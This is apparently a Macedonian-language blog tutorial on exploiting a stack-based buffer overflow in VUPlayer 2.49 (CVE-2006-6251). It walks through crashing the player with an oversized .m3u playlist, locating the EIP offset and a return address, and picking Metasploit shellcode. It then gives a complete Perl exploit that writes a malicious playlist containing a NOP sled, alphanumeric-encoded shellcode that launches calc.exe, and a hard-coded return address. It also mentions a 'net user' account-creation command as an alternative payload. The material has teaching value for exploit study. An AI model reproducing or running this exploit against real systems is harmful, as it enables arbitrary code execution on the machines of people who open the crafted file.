Значи вака…првин го симнав програмот од официјалната страна: http://www.vuplayer.com/vuplayer.php. Го инсталирав софтверот и го уклучив преку дебагерот OllyDbg. Креирам листа (.m3u) со помош на Perl one-liner, со испечатени карактери “A” 1024 пати или 1024 бајти.
perl -e “print ‘A’ x 1024;” >> lista.m3u
Ја отворам листата во плеерот и апликацијата паѓа а дебагерот ме известува дека незнае како да продолжи бидејќи EIP регистарот е презапишан.
Од сликата можеме да видиме дека нашата lista.m3u (1024 “A” карактери) го пренатрупа баферот за складирање на плејлистата и го презапиша EIP регистарот (голема буква А во хексадецимално изразување е 41, повеќе: http://www.asciitable.com), како и ECX и EBP. Ова значи дека со наоѓање на соодветна адреса за враќање во меморијата или returning address, можеме да го контролираме целосно софтверот и неговиот тек и да извршуваме своеволен код (arbitrary code execution). Но за да го дознаеме точно бројот на “A” карактери со кој последните 4 ќе бидат RET адреса, ќе треба малку да тестираме и да дознаеме на колку точно бајти, баферот се пренатрупува. Зборуваме за класичен Stack Based Buffer Overflow напад. Бројот на бајтите (1024) го избрав случајно. Продолжив со намалување на “A” карактерите (од каде последните 4 карактери ги заменувам со BBBB редослед за да добијам 42424242) за да дојдам точно до границата на пренатрупувањето. Пробав 900, апликацијата ја вчитува листата успешно, пробав 1000, исто, пробав 1010, исто, пробав 1016 и забележав дека EIP регисарот е презапишан со адресата 42424242. Да не ве збунам, во листата имам значи 1012 “A” карактери и 4 “B” карактери = 1016 бајти.(…АААААААААА…..ААААААBBBB)
После успешното пронаоѓање на бројот на бајтите + RET адресата можеме да почнеме да го пишуваме нашиот експлоатациски код. Од 1012 бајти, можеме да избереме асален shellcode и остатокот е “ѓубре”. Одам на веб конзолата на Metasploit конструкцијата (www.metasploit.com:55555) за да го изберам кодот што ќе го извршувам преку ранливата апликација. Го избрав Windows Execute Command со calc.exe командата (сум можел и mspaint.exe или командата net user jox joxy). Е сега, да позборувам малку за повратната адреса која ни е потребна за да ја ставиме во нашиот експлоит и да посочува кон нашиот shellcode. Има повеќе начини за пронаоѓање на RET адресата. Можев да ја искористам алатката на eEye Digital Security – Findjmp2.zip или да погледнам во дебагерот во делот кој што го покажува купот или Stack меморија. Во екстремни случаи го избирам Findjmp2.exe но овојпат си погледнав во купот и видов неколку адреси кои се корисни.
Откако ја пронајдовме RET адресата ја заменуваме наместо тие 4 BBBB карактери во листата. Да се вратиме кај shellcode-от. На самиот сајт на Metasploit имаме опција да избереме каков вид на енкодер за shellcode-от да користиме. Кога користиме енкодер се зголемува и големината на кодот. Причината поради која не го користиме зададениот (default) енкодер на Metasploit – PexFnstenvSub е затоа што апликацијата VUPlayer не ни го извршува кодот за calc.exe, бидејќи самиот код содржи лоши карактери или bad chars како што е веќе зададено со x00 (NULL бајт). Сум: Освен нулта бајтот, shellcode-от содржи и други лоши бајти што претставува малку комплициран процес за пронаоѓање на истите и впишување во Restricted Characters листата. Затоа ќе го искористиме енкодерот PexAlphaNum кој содржи само алфа-нумерички карактери. Енкодиран shellcode го содржи и декодерот во самиот себе. Значи добиваме shellcode: win32_exec –
EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum
1016 – 4(RET) = 1012
1012 – 351(SHELLCODE) = 661(JUNK)
661 бајти = ѓубре или NOP кодови (nopsled).
Следува експлоатациски код (Perl):
===========================================================================
#!/usr/bin/perl
#
# Title: VUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit
#
# Summary: VUPlayer is a freeware multi-format audio player for Windows
#
# Product web page: http://www.vuplayer.com/vuplayer.php
#
# Desc: VUPlayer 2.49 suffers from buffer overflow vulnerability that can be
# exploited remotely using user intereaction or crafting. It fails to perform
# adequate boundry condition of the user input file (1016 bytes), allowing us
# to overwrite the EIP, ECX and EBP registers. Successful exploitation executes
# calc.exe, failed
attempt resolve in DoS.
#
#
# ———————————WinDbg————————————-
#
# (e7c.c40): Access violation – code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000001 ecx=41414141 edx=00da5c98 esi=0050b460 edi=0012ee24
# eip=41414141 esp=0012eab8 ebp=41414141 iopl=0
nv up ei pl zr na pe nc
# cs=001b
ss=0023
ds=0023
es=0023
fs=003b
gs=0000
efl=00210246
# 41414141 ??
???
#
# —————————————————————————-
#
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Greg Linares & Expanders in version 2.44 (2006)
#
# Refs:
#
# – cVE: CVE-2006-6251
# – MILW0RM:2872
# – MILW0RM:2870
# – CERT-VN:VU#311192
# – BID:21363
# – FRSIRT:ADV-2006-4783
# – SECUNIA:23182
# – XF:vuplayer-plsm3u-bo(30629)
#
# Exploit coded by Gjoko ‘LiquidWorm’ Krstic
#
# liquidworm [t00t] gmail.com
#
# http://www.zeroscience.org
#
# 18.08.2008
#
print “nn”;
print “=” x 80;
print “nn”;
print “tVUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploitn”;
print “tt by LiquidWorm
print “=” x 80;
# win32_exec –
EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
$SHELLCODE = “xebx03x59xebx05xe8xf8xffxffxff”.
“x4fx49x49x49x49x49x49x51x5ax56”.
“x54x58x36x33x30x56x58x34x41x30”.
“x42x36x48x48x30x42x33x30x42x43”.
“x56x58x32x42x44x42x48x34x41x32”.
“x41x44x30x41x44x54x42x44x51x42”.
“x30x41x44x41x56x58x34x5ax38x42”.
“x44x4ax4fx4dx4ex4fx4ax4ex46x34”.
“x42x30x42x30x42x50x4bx48x45x34”.
“x4ex43x4bx58x4ex57x45x30x4ax57”.
“x41x50x4fx4ex4bx58x4fx54x4ax31”.
“x4bx58x4fx45x42x52x41x30x4bx4e”.
“x49x54x4bx48x46x53x4bx38x41x30”.
“x50x4ex41x53x42x4cx49x49x4ex4a”.
“x46x38x42x4cx46x37x47x50x41x4c”.
“x4cx4cx4dx50x41x50x44x4cx4bx4e”.
“x46x4fx4bx53x46x45x46x32x46x50”.
“x45x57x45x4ex4bx38x4fx55x46x52”.
“x41x30x4bx4ex48x36x4bx58x4ex30”.
“x4bx54x4bx58x4fx55x4ex51x41x50”.
“x4bx4ex4bx38x4ex51x4bx38x41x30”.
“x4bx4ex49x38x4ex35x46x52x46x30”.
“x43x4cx41x33x42x4cx46x36x4bx38”.
“x42x54x42x53x45x58x42x4cx4ax37”.
“x4ex50x4bx58x42x34x4ex30x4bx58”.
“x42x47x4ex31x4dx4ax4bx48x4ax36”.
“x4ax30x4bx4ex49x50x4bx38x42x38”.
“x42x4bx42x50x42x50x42x30x4bx38”.
“x4ax36x4ex53x4fx55x41x53x48x4f”.
“x42x46x48x35x49x48x4ax4fx43x38”.
“x42x4cx4bx57x42x35x4ax36x4fx4e”.
“x50x4cx42x4ex42x56x4ax56x4ax39”.
“x50x4fx4cx48x50x50x47x35x4fx4f”.
“x47x4ex43x36x41x56x4ex36x43x36”.
“x50x32x45x36x4ax57x45x46x42x50”.
“x5a”;
$FILE = “TETOVIRANJE.m3u”;
$GARBAGE = “x4A” x 461;
$NOPSLED = “x90” x 200;
$RET = “xC0xE6x12x00”;
print “nn[-] Buffering malicious playlist file. Please wait…rn”;
sleep (5);
open (BOF, “>./$FILE”) || die “nCan’t open $FILE: $!”;
print BOF “$NOPSLED” . “$SHELLCODE” . “$GARBAGE” . “$RET”;
close (BOF);
print “nn[+] File $FILE successfully created!nn”;
system (pause);
===========================================================================
Во кодот сум сменил наместо “A” во “J” или хексадецимално: 4А. Како што гледате слабоста од овој вид е пронајдена од страна на истражувачите Greg Linares и Expanders во верзијата 2.44 (2006 г.)
На кратко: Ставам во листата 461 “J” карактери и 200 NOP кодови (461+200=661 ѓубре). Бројките се по случаен избор, можев да ставам и 300 NOP и 361 “J” карактери. Плус shellcode-от и RET адресата. Редоследот во кодот оди: nopsled + shellcode + garbage + ret, и кога ќе се изврши RET адресата, посочува на почетокот од nopsled-от, кој користи за “лизгање” до shellcode-от и неговото извршување (calc.exe), и тука завршувам. Мфф. Подолу можете да погледнете видео од користење на експлоитот и креирање на листата како и експлоатација на VUPlayer 2.49 и стартување на алатката Calculator.
За поголема резолуција можете да погледнете тука: VUPlayer Exploitation In Action [HD]
Референти:
– http://www.securityhome.eu/exploits/exploit.php?eid=13259671948aa1b65ce1f13.77636425
– http://www.securityfocus.com/bid/21363
– http://www.packetstormsecurity.org/filedesc/vuplayer_bof.pl.txt.html
– http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2008-4893.php









